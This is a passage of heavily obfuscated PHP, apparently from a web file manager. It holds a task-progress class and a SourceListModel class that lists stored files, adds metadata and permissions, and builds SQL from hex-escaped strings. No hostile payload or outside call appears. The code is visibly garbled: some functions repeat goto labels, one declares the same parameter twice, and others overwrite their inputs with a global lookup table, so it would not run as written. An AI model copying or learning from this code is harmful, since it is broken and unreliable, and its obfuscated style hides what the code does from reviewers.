Hook::bind($Cɠ[537], array($this, $Cɠ[1448])); $this->sourceModelCopyFlag = !1; goto c᭪ѧ; Fխ: } protected function endAfter() { goto f׈Ḿ; D: Hook::unbind($A[547], array($this, $A[1444])); Hook::unbind($A[548], array($this, $A[1444])); Hook::unbind($A[514], array($this, $A[1445])); goto Eډݳ; Eډݳ: Hook::unbind($A[511], array($this, $A[1445])); Hook::unbind($A[516], array($this, $A[1445])); Hook::unbind($A[518], array($this, $A[1445])); goto cً; B: Hook::unbind($A[1449], array($this, $A[1450])); Hook::unbind($A[1451], array($this, $A[1452])); Hook::unbind($A[1453], array($this, $A[1454])); goto eȑߧ; AɃ: Hook::unbind($A[1440], array($this, $A[1441])); Hook::unbind($A[544], array($this, $A[1442])); Hook::unbind($A[545], array($this, $A[1443])); goto D; cً: Hook::unbind($A[520], array($this, $A[1445])); Hook::unbind($A[1446], array($this, $A[1447])); Hook::unbind($A[537], array($this, $A[1448])); goto B; f׈Ḿ: $A =& $_SERVER[ȦÆ]; Hook::unbind($A[1436], array($this, $A[1437])); Hook::unbind($A[1438], array($this, $A[1439])); goto AɃ; eȑߧ: } public function copyMoveStart($Bԋ, $AǛ, $Aн膘, $d) { } public function updateAfter() { goto c; c: $F =& $_SERVER[ȦÆ]; $D =& $this->task; if (!$D[$F[699]]) { return; } goto Cِ; e碵: $D[$F[1413]] = ($D[$F[1462]] + $DӖއ) / $D[$F[699]]; if ($D[$F[1413]] > 0) { $cօʩ = timeFloat() - $D[$F[1415]] - $D[$F[1418]]; $D[$F[1419]] = $cօʩ * (1 - $D[$F[1413]]) / $D[$F[1413]]; } goto c֍; Cِ: if ($this->sourceModelCopyFlag) { return; } $DӖއ = 0; if ($D[$F[1459]] == $F[1033]) { $DӖއ = $D[$F[1458]] * 0.5; } else { if ($D[$F[1459]] == $F[112]) { $DӖއ = $D[$F[1458]] * 0.5 + $D[$F[1457]] * 0.5; } } goto e碵; c֍: } public function addPath($fΆ) { goto aЭ; AÙӓ: $Eح = IO::infoWithChildren($fΆ); $aЦ = $Dﯺ[$CЯ[1463]] ? $Dﯺ[$CЯ[1463]][$CЯ[1464]] : 0; $Dﯺ[$CЯ[1463]] = array($CЯ[1464] => $aЦ + 1, $CЯ[391] => $Eح[$CЯ[38]], $CЯ[85] => $Eح[$CЯ[85]], $CЯ[471] => $Eح[$CЯ[471]] ? $Eح[$CЯ[471]] : $Eح[$CЯ[85]]); goto fͯ; fͯ: if ($Eح[$CЯ[39]] == $CЯ[173]) { $Dﯺ[$CЯ[971]] += 1; } else { $Dﯺ[$CЯ[971]] += $Eح[$CЯ[90]][$CЯ[88]]; if ($Eح[$CЯ[374]]) { $Dﯺ[$CЯ[971]] += $Eح[$CЯ[90]][$CЯ[89]] + 1; } } $Dﯺ[$CЯ[699]] += $Eح[$CЯ[87]]; $this->update(); goto a; aЭ: $CЯ =& $_SERVER[ȦÆ]; if (!$fΆ) { return; } $Dﯺ =& $this->task; goto AÙӓ; a: } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($Cǭ) { $C =& $_SERVER[ȦÆ]; $Eҧ =& $this->task; $Eҧ[$C[1455]] = $Cǭ[$C[38]]; $Eҧ[$C[973]] = $Cǭ[$C[38]]; $this->update(); } public function copyFileStart($cО܇, $A, $aԇ, $b۶, $cᎸې, $c噦) { goto b; b: $dτ =& $_SERVER[ȦÆ]; $cখ = $cᎸې; if ($cখ == $GLOBALS[$dτ[1465]]) { $cখ = $GLOBALS[$dτ[1466]]; } goto Dź; Dź: $GLOBALS[$dτ[1466]] = $cᎸې; $GLOBALS[$dτ[1465]] = $c噦; $A =& $this->task; goto D; D: $A[$dτ[1455]] = $cখ; $A[$dτ[1457]] = (int) $cО܇->size($A); $A[$dτ[1458]] = 0; goto Bڰ; Bڰ: $A[$dτ[973]] = $dτ[43]; $A[$dτ[1459]] = $dτ[43]; $A[$dτ[1460]] = 0; goto B把Փ; B把Փ: $this->update(); goto A; A: } public function copyFileEnd($F䛰, $DӨ, $AÌ, $c, $Dނ, $A) { $FɅ =& $_SERVER[ȦÆ]; $f =& $this->task; $f[$FɅ[1458]] = $f[$FɅ[1457]]; $f[$FɅ[1459]] = $FɅ[43]; if ($Dނ == $f[$FɅ[1455]]) { $f[$FɅ[1462]] += $f[$FɅ[1457]]; $this->update(1); } else { $this->update(); $f[$FɅ[1458]] = 0; } self::log($FɅ[1467] . $DӨ . $FɅ[76] . $c . $FɅ[12] . $Dނ . $FɅ[1468] . $f[$FɅ[1455]]); } public function updateFileEnd($B, $ĉ) { $F硛ӓ =& $_SERVER[ȦÆ]; $c =& $this->task; $c[$F硛ӓ[1455]] = $B; $c[$F硛ӓ[1457]] = $ĉ; $c[$F硛ӓ[1462]] += $ĉ; $this->update(1); } public function sourceModelCopy($Cǔ) { goto Cٴ; f: $Dܰ =& $this->task; $this->sourceModelCopyFlag = !0; $f = 0; goto a; a: switch ($f) { case $A̽[512]: $f = 1; break; case $A̽[515]: $Dܰ[$A̽[1455]] = $e׽[$A̽[38]]; break; case $A̽[517]: $f = intval($Cǔ[$A̽[368]] * 0.4); break; case $A̽[519]: $f = intval($Cǔ[$A̽[368]] * 0.2); break; case $A̽[521]: $f = intval($Cǔ[$A̽[368]] * 0.4); break; } $this->update($f); $this->sourceModelCopyFlag = !1; goto eպ; Cٴ: $A̽ =& $_SERVER[ȦÆ]; $f = $Cǔ[0]; $e׽ = $Cǔ[1]; goto f; eպ: } public function sourceRemove($Fڈ, $E) { $fۣ =& $_SERVER[ȦÆ]; $this->sourceModelCopyFlag = !0; $Eϯ = 1; if (isset($Fڈ[$fۣ[90]])) { $Eϯ = $Fڈ[$fۣ[90]][$fۣ[88]] + $Fڈ[$fۣ[90]][$fۣ[89]] + 1; } $this->update($Eϯ); $this->sourceModelCopyFlag = !1; } public function sourceMove($EُӰ) { $this->sourceRemove($EُӰ, !1); } public function curlProgress($C, $D싱, $Aҏǡ, $Eϒ, $Cɦ֌) { $Fڭ̂ =& $_SERVER[ȦÆ]; $aˢ =& $this->task; if ($Cɦ֌ > 0) { $aˢ[$Fڭ̂[973]] = $Fڭ̂[1469]; $aˢ[$Fڭ̂[1459]] = $Fڭ̂[112]; if ($aˢ[$Fڭ̂[1457]] == $Eϒ || $Eϒ > 1024 * 1024) { $aˢ[$Fڭ̂[1458]] = $Cɦ֌; } if ($aˢ[$Fڭ̂[1460]]) { $aˢ[$Fڭ̂[1458]] = $Cɦ֌ + $aˢ[$Fڭ̂[1460]]; } } else { if ($Aҏǡ > 0) { if ($aˢ[$Fڭ̂[1457]] == $D싱) { $aˢ[$Fڭ̂[1458]] = $Aҏǡ; $aˢ[$Fڭ̂[973]] = $Fڭ̂[1470]; $aˢ[$Fڭ̂[1459]] = $Fڭ̂[1033]; } } } $this->update(); } public function curlProgressStart($bȕ) { } public function curlProgressEnd($d٬ܽ) { $a壻킯 =& $_SERVER[ȦÆ]; $d =& $this->task; $F = curl_getinfo($d٬ܽ); $CѠ˹ = $F[$a壻킯[1471]]; if ($d[$a壻킯[1459]] == $a壻킯[112] && $CѠ˹) { $d[$a壻킯[1460]] += $CѠ˹; } $this->update(); } } goto cբ; eˎ: class SourceListModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\x72\143\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\x61\155\x65" => "\151\157\x5f\x73\157\x75\x72\143\x65\x5f\155\x65\164\141", "\155\x65\164\x61\x46\x69\145\154\144" => "\163\157\x75\162\143\x65\x49\x44"); protected $dataAuto = array(array("\x6d\157\144\151\146\171\x54\151\155\145", "\x74\151\155\145", "\151\156\x73\145\x72\x74", "\x66\165\156\143\x74\x69\x6f\x6e"), array("\x63\162\145\141\x74\145\124\151\155\145", "\x74\x69\x6d\145", "\x69\156\x73\x65\x72\x74", "\x66\x75\x6e\143\x74\151\x6f\x6e"), array("\x76\x69\145\167\x54\151\x6d\x65", "\x74\x69\155\x65", "\x69\x6e\x73\145\x72\x74", "\x66\x75\156\143\164\151\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($FԴ) { return $this->listSource(array($_SERVER[ȦÆ][373] => $FԴ)); } public function typeName($A) { static $d쵷 = array(self::TYPE_SYSTEM => "\163\x79\x73\x74\x65\x6d", self::TYPE_USER => "\165\163\x65\162", self::TYPE_GROUP => "\147\x72\157\165\x70"); return $d쵷[$A . $_SERVER[ȦÆ][43]]; } public function sourceListInfo($Dɘւ, $d = false) { goto E; E: if (!$Dɘւ) { return array(); } $B޵ = $this->where(array($B鞎[374] => array($B鞎[17], $Dɘւ)))->select(); $this->_listDataApply($B޵, $d); goto Fׇ; E: $B鞎 =& $_SERVER[ȦÆ]; $Dɘւ = $Dɘւ ? $Dɘւ : array(); $Dɘւ = array_filter(array_unique($Dɘւ)); goto E; Fׇ: return array_to_keyvalue($B޵, $B鞎[374]); goto Dكސ; Dكސ: } public function pathInfoFilter($d) { goto c; E̊: if (isset($d[$bѣ[381]]) && $d[$bѣ[381]][$bѣ[382]] == -1) { $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[193]); $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[116]); $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[383]); $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[384]); $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[87]); $Dطᑋ = array_remove_value($Dطᑋ, $bѣ[385]); } $d = array_field_key($d, $Dطᑋ); return $d; goto bԋ; c: $bѣ =& $_SERVER[ȦÆ]; $d[$bѣ[85]] = KodIO::make($d[$bѣ[374]]); $d[$bѣ[39]] = $d[$bѣ[375]] == 1 ? $bѣ[86] : $bѣ[173]; goto d񄉸; c: $A閽 .= $bѣ[379]; $A閽 .= $bѣ[380]; $Dطᑋ = explode($bѣ[57], $A閽); goto E̊; d񄉸: $d[$bѣ[376]] = $this->typeName($d[$bѣ[376]]); if ($d[$bѣ[375]] != 1) { $d[$bѣ[166]] = $d[$bѣ[377]]; unset($d[$bѣ[377]]); } $A閽 = $bѣ[378]; goto c; bԋ: } public function listUserFav() { goto C; Fސ: $dᰍ = array_to_keyvalue($dᰍ, $B²߿[43], $B²߿[85]); if ($dᰍ) { $C֭ = $this->listSource(array($B²߿[388] => array($B²߿[389], $dᰍ))); } $C֭ = array_to_keyvalue($C֭[$B²߿[359]], $B²߿[374]); goto A߇ں; C: $B²߿ =& $_SERVER[ȦÆ]; $d̊ = Model($B²߿[386])->listData(); $dᰍ = array_filter_by_field($d̊, $B²߿[39], $B²߿[387]); goto Fސ; A߇ں: foreach ($d̊ as &$aݎ) { $aݎ = array($B²߿[390] => $aݎ[$B²߿[372]], $B²߿[391] => $aݎ[$B²߿[38]], $B²߿[392] => $aݎ[$B²߿[85]], $B²߿[393] => $aݎ[$B²߿[39]], $B²߿[394] => $aݎ[$B²߿[193]], $B²߿[395] => $aݎ[$B²߿[116]]); if ($aݎ[$B²߿[39]] == $B²߿[387] && $C֭[$aݎ[$B²߿[85]]]) { $aݎ[$B²߿[396]] = $C֭[$aݎ[$B²߿[85]]]; } } return $d̊; goto aô; aô: } public function listUserTag($A) { goto DҜ; f: $e = array_to_keyvalue($e, $Bᣬ[43], $Bᣬ[85]); $EȈΊ = array(); if ($e) { $B翇΋ = array($Bᣬ[388] => array($Bᣬ[389], $e)); $EȈΊ = $this->listSource($B翇΋); } goto Dڈ²; Dڈ²: $this->listUserTagClear($e, $EȈΊ, $A); return $EȈΊ; goto Aԇ; DҜ: $Bᣬ =& $_SERVER[ȦÆ]; $DЦ = Model($Bᣬ[397])->listData(); $e = array_filter_by_field($DЦ, $Bᣬ[398], $A); goto f; Aԇ: } private function listUserTagClear($c, $c, $eɐ̗) { goto Fυܠ; Fυܠ: $Aƕ =& $_SERVER[ȦÆ]; if (!$c) { return; } if ($c && count($c) == $c[$Aƕ[356]][$Aƕ[357]]) { return; } goto a; a: $b = array(); $Eٟ֋ = array_to_keyvalue($c[$Aƕ[84]], $Aƕ[43], $Aƕ[374]); $c = array_to_keyvalue($c[$Aƕ[83]], $Aƕ[43], $Aƕ[374]); goto aяƗ; D: Model($Aƕ[399])->removeFromTag($b, $eɐ̗); goto eӟ; aяƗ: $f = array_merge($c, $Eٟ֋); foreach ($c as $cȍ) { if (!in_array($cȍ, $f)) { $b[] = $cȍ; } } if (!$b) { return; } goto D; eӟ: } public function listUserRecycle() { $d˖԰ =& $_SERVER[ȦÆ]; $Eĕ = Model($d˖԰[400])->listData(); if (!$Eĕ) { return array(); } $B޹ = array($d˖԰[388] => array($d˖԰[389], $Eĕ), $d˖԰[401] => 1); return $this->listSource($B޹); } public function listSource($b󠼡, $C = 3000) { goto Dū; f֑: return $a; goto A; eȶ: $a = $this->field($b)->_makeOrder()->where($b󠼡)->selectPage($C); $this->_listDataApply($a[$B[359]]); $this->_listMake($a); goto f֑; Dū: $B =& $_SERVER[ȦÆ]; if (!isset($b󠼡[$B[402]])) { $b󠼡[$B[402]] = 0; } $b = $B[403]; goto eȶ; A: } protected function _makeOrder() { goto C୩; C୩: $b =& $_SERVER[ȦÆ]; $b軰 = Model($b[404])->get($b[405]); $B = Model($b[404])->get($b[406]); goto DƋى; DƋى: $F軩ێ = array($b[407] => $b[408], $b[409] => $b[410]); $C = array($b[38] => $b[38], $b[87] => $b[87], $b[166] => $b[377], $b[383] => $b[383], $b[411] => $b[384], $b[193] => $b[193], $b[116] => $b[116]); $E߽ւ = Input::get($b[412], $b[17], $b軰, array_keys($C)); goto fՈ; Fǵ̊: if ($E߽ւ == $b[38]) { } $eƷ = $b[414] . $C[$E߽ւ] . $b[60] . $F軩ێ[$AŘ]; return $this->order(rtrim(trim($eƷ), $b[57])); goto fӞȑ; fՈ: $AŘ = Input::get($b[413], $b[17], $B, array_keys($F軩ێ)); if (!in_array($E߽ւ, array_keys($C))) { $E߽ւ = $b[38]; } if (!in_array($AŘ, array_keys($F軩ێ))) { $E߽ւ = $b[407]; } goto Fǵ̊; fӞȑ: } protected function _listDataApplyItem($F, $d = false) { $D䬌 = array($F); $this->_listDataApply($D䬌, $d); return $D䬌[0]; } protected function _listDataApply(&$eҳ, $c஥ = false) { goto A; DΊ: $this->_listAppendUser($eҳ); $this->_listFilterInfo($eҳ, $c஥); goto E; c됬: $B = array_unique($B); $this->_listSourceCache($eҳ); if (!$c஥) { $this->_listAppendMeta($eҳ, $B); $this->_listAppendFileMeta($eҳ, $B); $this->_listAppendChildren($eҳ, $B); } goto B; B: $this->_listAppendPath($eҳ); $this->_listAppendAuth($eҳ); $this->_listAppendSourceInfo($eҳ, $B); goto DΊ; A: $eՐ =& $_SERVER[ȦÆ]; if (!$eҳ) { $eҳ = array(); return; } $B = array_to_keyvalue($eҳ, $eՐ[43], $eՐ[374]); goto c됬; E: } protected function _listSourceCache($Bˆ) { $E҅ =& $_SERVER[ȦÆ]; foreach ($Bˆ as $FɈƆ) { self::$cacheSourceInfo[$E҅[415] . $FɈƆ[$E҅[374]]] = $FɈƆ; } } protected function _listFilterInfo(&$fż𑫨, $bэ = false) { $A =& $_SERVER[ȦÆ]; foreach ($fż𑫨 as &$F) { $F = $this->pathInfoFilter($F); self::$cachePathInfo[$A[416] . intval($bэ) . $A[417] . $F[$A[374]]] = $F; } } protected function _listMake(&$a) { $a =& $_SERVER[ȦÆ]; $a[$a[84]] = array(); $a[$a[83]] = array(); foreach ($a[$a[359]] as $bɄ) { $Dʆ = $bɄ[$a[375]] == 1 ? $a[84] : $a[83]; $a[$Dʆ][] = $bɄ; } unset($a[$a[359]]); } protected function _listAppendMeta(&$c, $e) { goto a˧; Dڣ: foreach ($a˅Ɉ as $Dܨۊ) { if (!isset($cƉ[$Dܨۊ[$Fޒ[374]]])) { $cƉ[$Dܨۊ[$Fޒ[374]]] = array(); } if (in_array($Dܨۊ[$Fޒ[99]], $bܭח)) { continue; } $cƉ[$Dܨۊ[$Fޒ[374]]][$Dܨۊ[$Fޒ[99]]] = $Dܨۊ[$Fޒ[364]]; } foreach ($c as &$e) { $e[$Fޒ[422]] = !1; if (isset($cƉ[$e[$Fޒ[374]]])) { $e[$Fޒ[422]] = $cƉ[$e[$Fޒ[374]]]; } if ($this->fileIsLock($e) && $e[$Fޒ[381]]) { $C̳ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $e[$Fޒ[381]][$Fޒ[382]] = AuthModel::authDisable($e[$Fޒ[381]][$Fޒ[382]], $C̳); $e[$Fޒ[381]][$Fޒ[423]][$Fޒ[381]] = $e[$Fޒ[381]][$Fޒ[382]]; } } goto Ḑ; d˗: if (!$a˅Ɉ) { return; } $bܭח = array($Fޒ[420], $Fޒ[421]); $cƉ = array(); goto Dڣ; a˧: $Fޒ =& $_SERVER[ȦÆ]; $cՅ = array($Fޒ[388] => array($Fޒ[389], $e)); $a˅Ɉ = Model($Fޒ[418])->field($Fޒ[419])->where($cՅ)->select(); goto d˗; Ḑ: } protected function _listAppendFileMeta(&$Bʫ, $c) { goto Dۡ։; Dۡ։: $B =& $_SERVER[ȦÆ]; $Fí = array_to_keyvalue($Bʫ, $B[43], $B[424]); $Fí = array_filter(array_unique($Fí)); goto d; d: if (!$Fí) { return; } $bӲ = array($B[425] => array($B[389], $Fí)); $fĈlj = $B[426]; goto b߃; Dڇ: foreach ($Bʫ as &$f) { goto Eׇ; Eׇ: $Dڶ = $f[$B[424]]; if (!$Dڶ || !isset($dĈ[$Dڶ])) { continue; } $a = $dĈ[$Dڶ]; goto fʼn; fʵ: unset($dĈ[$Dڶ][$B[85]]); $aԌߍ = is_array($A龃[$Dڶ]) ? $A龃[$Dڶ] : array(); $f[$B[168]] = array_merge($aԌߍ, $dĈ[$Dڶ]); goto F̽; fʼn: $a[$B[87]] = $f[$B[87]]; $a[$B[38]] = $f[$B[38]]; self::$cacheFileInfo[$B[430] . $Dڶ] = $a; goto fʵ; F̽: if (isset($f[$B[168]][$B[431]])) { $f[$B[431]] = json_decode($f[$B[168]][$B[431]], !0); unset($f[$B[168]][$B[431]]); } goto bτ; bτ: } goto aۙ; b̯: $e䙼 = $e䙼 ? $e䙼 : array(); $A龃 = array(); foreach ($e䙼 as $F߫ī) { if (!isset($A龃[$F߫ī[$B[424]]])) { $A龃[$F߫ī[$B[424]]] = array(); } $A龃[$F߫ī[$B[424]]][$F߫ī[$B[99]]] = $F߫ī[$B[364]]; } goto Dڇ; b߃: $dĈ = Model($B[427])->field($fĈlj)->where($bӲ)->select(); $dĈ = array_to_keyvalue($dĈ, $B[424]); $e䙼 = Model($B[428])->field($B[429])->where($bӲ)->select(); goto b̯; aۙ: } protected function _listAppendSourceInfo(&$BݨŦ, $a͹) { goto dǏʝ; e䊌: $e = array_to_keyvalue_group($f㧍, $c[374]); foreach ($BݨŦ as &$A) { $A[$c[396]] = array($c[435] => 0, $c[436] => 0, $c[437] => 0); if (isset($Eግ[$A[$c[374]]])) { $A[$c[396]][$c[438]] = 1; $A[$c[396]][$c[439]] = $Eግ[$A[$c[374]]][$c[38]]; } if (isset($BĢ[$A[$c[374]]])) { $A[$c[396]][$c[440]] = array(); foreach ($BĢ[$A[$c[374]]] as $Dͮ) { $a҆ = $a󭂉[$Dͮ]; $A[$c[396]][$c[440]][] = array($c[441] => $a҆[$c[372]], $c[391] => $a҆[$c[38]], $c[442] => $a҆[$c[443]]); } } if (isset($e[$A[$c[374]]])) { $A[$c[396]][$c[444]] = array(); foreach ($e[$A[$c[374]]] as $eɝ) { $A[$c[396]][$c[444]] = array($c[445] => $eɝ[$c[446]], $c[447] => $eɝ[$c[448]], $c[449] => $eɝ[$c[374]], $c[450] => $eɝ[$c[451]], $c[452] => $eɝ[$c[453]]); } } } return $BݨŦ; goto b; Bĝ: $bĆ = Model($c[397])->listData(); $Dԧ = Model($c[386])->listData(); $f㧍 = Model($c[434])->listSimple(); goto D޻—; dǏʝ: $c =& $_SERVER[ȦÆ]; if (!defined($c[432])) { return; } $A۪ = Model($c[433])->listData(); goto Bĝ; D޻—: $a󭂉 = array_to_keyvalue($A۪, $c[372]); $BĢ = array_to_keyvalue_group($bĆ, $c[85], $c[398]); $Eግ = array_to_keyvalue($Dԧ, $c[85]); goto e䊌; b: } protected function _listAppendChildren(&$eނК, $cۂ) { goto Bԃ; cӳDŽ: $b = 1024 * 50; $eނК = is_array($eނК) ? $eނК : array(); $Bȵ܆ = count($eނК); goto B꓊; Bԃ: $d =& $_SERVER[ȦÆ]; $cթӦ = $d[366]; $C = array(); goto cӳDŽ; A貗: foreach ($eނК as &$F) { if ($F[$d[375]]) { unset($F[$d[377]]); $F[$d[198]] = intval($C[$F[$d[374]] . $d[456]][$d[457]]); $F[$d[197]] = intval($C[$F[$d[374]] . $d[458]][$d[457]]); } } goto Bɇ՚; B꓊: $E롡̱ = $this->tablePrefix . $this->tableName; for ($D = 0; $D < $Bȵ܆; $D++) { $aѦޢ = intval($eނК[$D][$d[402]]); if ($eނК[$D][$d[375]]) { $B = $eނК[$D][$d[374]]; $cթӦ .= "\123\x45\x4c\x45\x43\124\x20\x2a\40\106\x52\117\x4d\40\x28\123\x45\114\x45\103\x54\x20\x27{$B}\x5f\150\x61\x73\x46\x69\x6c\x65\x27\x20\x61\163\40\150\141\163\54\143\x6f\165\x6e\x74\50\x31\x29\x20\x61\163\x20\150\141\163\x43\x6f\165\x6e\164\x20\106\122\117\x4d\x20\140{$E롡̱}\x60\40\xa\x9\11\11\x9\11\x77\x68\x65\x72\145\40\160\x61\162\145\156\x74\x49\104\x3d{$B}\40\141\x6e\144\40\x69\163\106\157\154\144\x65\162\75\60\40\x61\x6e\144\x20\x69\163\104\x65\x6c\x65\x74\x65\75{$aѦޢ}\x29\40\141\x73\40\164\142\x31\137{$B}\x20\165\156\151\x6f\156\40\141\x6c\x6c\x20\12\x9\11\11\x9\11\123\x45\x4c\105\103\124\x20\x2a\x20\106\122\117\115\x20\x28\x53\105\x4c\x45\x43\124\x20\x27{$B}\x5f\150\141\163\x46\x6f\154\144\145\162\47\x20\141\163\x20\x68\141\x73\106\x69\x6c\145\x2c\x63\x6f\165\156\x74\x28\61\51\x20\141\x73\40\x68\141\x73\x43\x6f\x75\x6e\164\40\x46\122\117\115\40\x60{$E롡̱}\140\40\xa\11\x9\x9\11\11\167\x68\145\162\145\x20\x70\x61\162\145\156\164\111\x44\x3d{$B}\x20\141\156\x64\x20\x69\163\106\157\154\x64\x65\162\x3d\x31\40\141\156\x64\x20\x69\x73\x44\x65\154\145\x74\145\75{$aѦޢ}\x29\40\x61\x73\x20\164\142\x32\x5f{$B}\x20\x75\x6e\151\157\x6e\x20\141\x6c\154\40"; } if ((strlen($cթӦ) >= $b || $D == $Bȵ܆ - 1) && $cթӦ) { $cթӦ = substr($cթӦ, 0, -strlen($d[454])); $a˗ = $this->query($cթӦ); $C = array_merge($C, $a˗); $cթӦ = $d[43]; } } $C = array_to_keyvalue($C, $d[455]); goto A貗; Bɇ՚: } protected function _listAppendAuth(&$Aͯ) { goto fݯĜ; C: foreach ($Aͯ as $bҚ) { if ($bҚ[$Dǃ[376]] == self::TYPE_GROUP) { $a៌[] = $bҚ[$Dǃ[374]]; } } if (!$a៌) { return; } $c = array_to_keyvalue($Aͯ, $Dǃ[374]); goto dӋ; fݯĜ: $Dǃ =& $_SERVER[ȦÆ]; if (!defined($Dǃ[432])) { return; } $a៌ = array(); goto C; dӋ: $A = Model($Dǃ[459])->getSourceList($a៌, $c); foreach ($Aͯ as $aŢ => &$bҚ) { $bҚ[$Dǃ[381]] = $A[$bҚ[$Dǃ[374]]]; if (!$bҚ[$Dǃ[381]] && $bҚ[$Dǃ[376]] == self::TYPE_GROUP) { $bҚ[$Dǃ[381]] = Action($Dǃ[460])->pathGroupAuthMake($bҚ[$Dǃ[461]]); if (!$bҚ[$Dǃ[381]] && !_get($GLOBALS, $Dǃ[462])) { $bҚ[$Dǃ[195]] = !1; $bҚ[$Dǃ[194]] = !1; } } if ($bҚ[$Dǃ[381]]) { $bҚ[$Dǃ[195]] = AuthModel::authCheckEdit($bҚ[$Dǃ[381]][$Dǃ[382]]); $bҚ[$Dǃ[194]] = AuthModel::authCheckView($bҚ[$Dǃ[381]][$Dǃ[382]]); } $this->groupPathDisplay($bҚ); } goto cɅ; cɅ: } public function groupPathDisplay(&$aޱǝ) { goto f; aĞ贑: $aޱǝ[$fݿ[465]] = $f[$fݿ[466]]; $aޱǝ[$fݿ[385]] = $f[$fݿ[464]]; $aޱǝ[$fݿ[467]] = $f[$fݿ[468]]; goto cؙ卝; f: $fݿ =& $_SERVER[ȦÆ]; if ($aޱǝ[$fݿ[376]] != self::TYPE_GROUP) { return; } $f = Model($fݿ[463])->getInfo($aޱǝ[$fݿ[461]]); goto DԱ; cؙ卝: $aޱǝ[$fݿ[469]] = $E . $f[$fݿ[396]][$fݿ[374]]; goto f; DԱ: $f = $this->parentLevelArray($f[$fݿ[464]]); $E = $fݿ[43]; foreach ($f as $eٔ) { $C𕕊 = Model($fݿ[463])->getInfo($eٔ); $E .= $C𕕊[$fݿ[396]][$fݿ[374]] . $fݿ[57]; } goto aĞ贑; f: } protected function _listAppendPath(&$A̖Ն) { goto EߵΥ; EߵΥ: $Aݻ =& $_SERVER[ȦÆ]; $C = array(); foreach ($A̖Ն as &$Dܽ앰) { $C[$Dܽ앰[$Aݻ[374]]] = $Dܽ앰[$Aݻ[38]]; $b町 = $this->parentLevelArray($Dܽ앰[$Aݻ[464]]); array_shift($b町); foreach ($b町 as $dý) { if (!isset($C[$dý])) { $C[$dý] = 0; } } } goto d; d: $bł = array(); foreach ($C as $A󤄊 => $A) { if (!$A) { $bł[] = $A󤄊; } } if ($bł) { $Fݛ = array($Aݻ[388] => array($Aݻ[389], $bł)); if (count($bł) == 1) { $b = $this->sourceInfo($bł[0]); $b = is_array($b) ? array($b) : !1; } else { $b = $this->field($Aݻ[470])->where($Fݛ)->select(); } $d٢ = array_to_keyvalue($b, $Aݻ[374], $Aݻ[38]); $C = array_merge_index($C, $d٢); } goto e᷂; e᷂: $cՂ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); foreach ($A̖Ն as &$Dܽ앰) { goto Fߥ; Eㅤǩ: if ($b町) { $f .= $Dܽ앰[$Aݻ[38]]; } if ($Dܽ앰[$Aݻ[375]]) { $f .= $Aݻ[18]; } $Dܽ앰[$Aݻ[471]] = str_replace($Aݻ[472], $Aݻ[18], $f); goto f; Fߥ: $b町 = $this->parentLevelArray($Dܽ앰[$Aݻ[464]]); $f = $this->_listAppendPathRoot($Dܽ앰, $b町); foreach ($b町 as $dý) { if (isset($C[$dý])) { $f .= $C[$dý] . $Aݻ[18]; } } goto Eㅤǩ; f: $EŠ = trim($Dܽ앰[$Aݻ[471]], $Aݻ[18]); if ($Dܽ앰[$Aݻ[466]] == $Aݻ[473] && $EŠ) { $Dܽ앰[$Aݻ[38]] = $EŠ; } $this->_listAppendPathRecycle($Dܽ앰, $b町, $cՂ); goto BƠԩ; BƠԩ: } goto D; D: } private function _listAppendPathRecycle(&$Dۙ, $dӤ, $D⽜) { goto AܖLj; AܖLj: $F =& $_SERVER[ȦÆ]; if (intval($Dۙ[$F[376]]) !== self::TYPE_SYSTEM) { return; } if (!in_array($D⽜, $dӤ) && $Dۙ[$F[374]] != $D⽜) { return; } goto Eꉭ; Eꉭ: $f = explode($F[18], trim($Dۙ[$F[471]], $F[18])); $Dע = implode($F[18], array_slice($f, 2)); $Dۙ[$F[471]] = $F[18] . LNG($F[474]) . $F[18] . ltrim($Dע, $F[18]); goto AώÃ; AώÃ: $Dۙ[$F[464]] = $F[475] . implode($F[57], array_slice($dӤ, 1)) . $F[57]; if ($Dۙ[$F[374]] == $D⽜) { $Dۙ[$F[464]] = $F[475]; $Dۙ[$F[466]] = $F[473]; $Dۙ[$F[38]] = LNG($F[474]); } $Dۙ[$F[476]] = $F[477]; goto a; a: } protected function _listAppendPathRoot(&$E榯, $A) { $C =& $_SERVER[ȦÆ]; $C = $C[43]; if ($E榯[$C[376]] == self::TYPE_USER) { if (defined($C[432]) && $E榯[$C[461]] == USER_ID) { $C = LNG($C[478]); if (!$A) { $E榯[$C[38]] = $C; } } else { $e = Model($C[479])->getInfoSimple($E榯[$C[461]]); $C = LNG($C[480]) . $C[163] . $e[$C[38]] . $C[481]; } } else { if ($E榯[$C[376]] == self::TYPE_GROUP) { $e = Model($C[463])->getInfoSimple($E榯[$C[461]]); $C = $e[$C[38]]; } else { if ($E榯[$C[376]] == self::TYPE_SYSTEM) { $e = $this->sourceInfo($A[0], !0); $C = $e[$C[38]]; } } } $C = $C ? $C[18] . $C . $C[18] : $C[18]; return $C; } protected function _listAppendUser(&$Aڒ) { $Bꍋ脩 =& $_SERVER[ȦÆ]; $dƽ = array_to_keyvalue($Aڒ, $Bꍋ脩[43], $Bꍋ脩[383]); $Eްɉ = array_to_keyvalue($Aڒ, $Bꍋ脩[43], $Bꍋ脩[384]); $aϺ = array_merge($dƽ, $Eްɉ); $Aӻ = Model($Bꍋ脩[482])->userListInfo($aϺ); foreach ($Aڒ as &$c󾷣) { $d屮 = $c󾷣[$Bꍋ脩[383]]; $c󾷣[$Bꍋ脩[383]] = $Aӻ[$d屮] ? $Aӻ[$d屮] : !1; $d屮 = $c󾷣[$Bꍋ脩[384]]; $c󾷣[$Bꍋ脩[384]] = $Aӻ[$d屮] ? $Aӻ[$d屮] : !1; if (isset($c󾷣[$Bꍋ脩[422]]) && 